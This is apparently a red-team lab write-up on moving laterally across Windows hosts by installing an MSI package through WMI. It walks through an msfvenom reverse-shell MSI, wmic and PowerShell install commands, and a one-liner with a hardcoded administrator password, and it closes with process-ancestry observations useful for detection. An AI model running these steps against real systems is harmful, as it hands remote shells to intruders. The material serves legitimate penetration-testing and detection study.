WMI + MSI Lateral Movement

WMI lateral movement with .msi packages


Generating malicious payload in MSI (Microsoft Installer Package):

msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=443 -f msi > evil64.msi

I tried executing the .msi payload like so, but got a return code 1619 and a quick search on google returned nothing useful:

wmic /node: /user:offense\administrator product call install PackageLocation='\\\c$\experiments\evil64.msi'

I had to revert to a filthy way of achieving the goal:

net use \\\c$ /user:[email protected]; copy C:\experiments\evil64.msi \\\c$\PerfLogs\setup.msi ; wmic /node: /user:[email protected] product call install PackageLocation=c:\PerfLogs\setup.msi

Additionally, the same could of be achieved using powershell cmdlets:

Invoke-WmiMethod -Path win32_product -name install -argumentlist @($true,"","c:\PerfLogs\setup.msi") -ComputerName pc-w10 -Credential (Get-Credential)

Get a prompt for credentials:

and enjoy the code execution:

Or if no GUI is available for credentials, a oneliner:

$username = 'Administrator';$password = '123456';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Invoke-WmiMethod -Path win32_product -name install -argumentlist @($true,"","c:\PerfLogs\setup.msi") -ComputerName pc-w10 -Credential $credential


Note the process ancestry: services > msiexec.exe > .tmp > cmd.exe:

and that the connection is initiated by the .tmp file (I ran another test, hence another file name):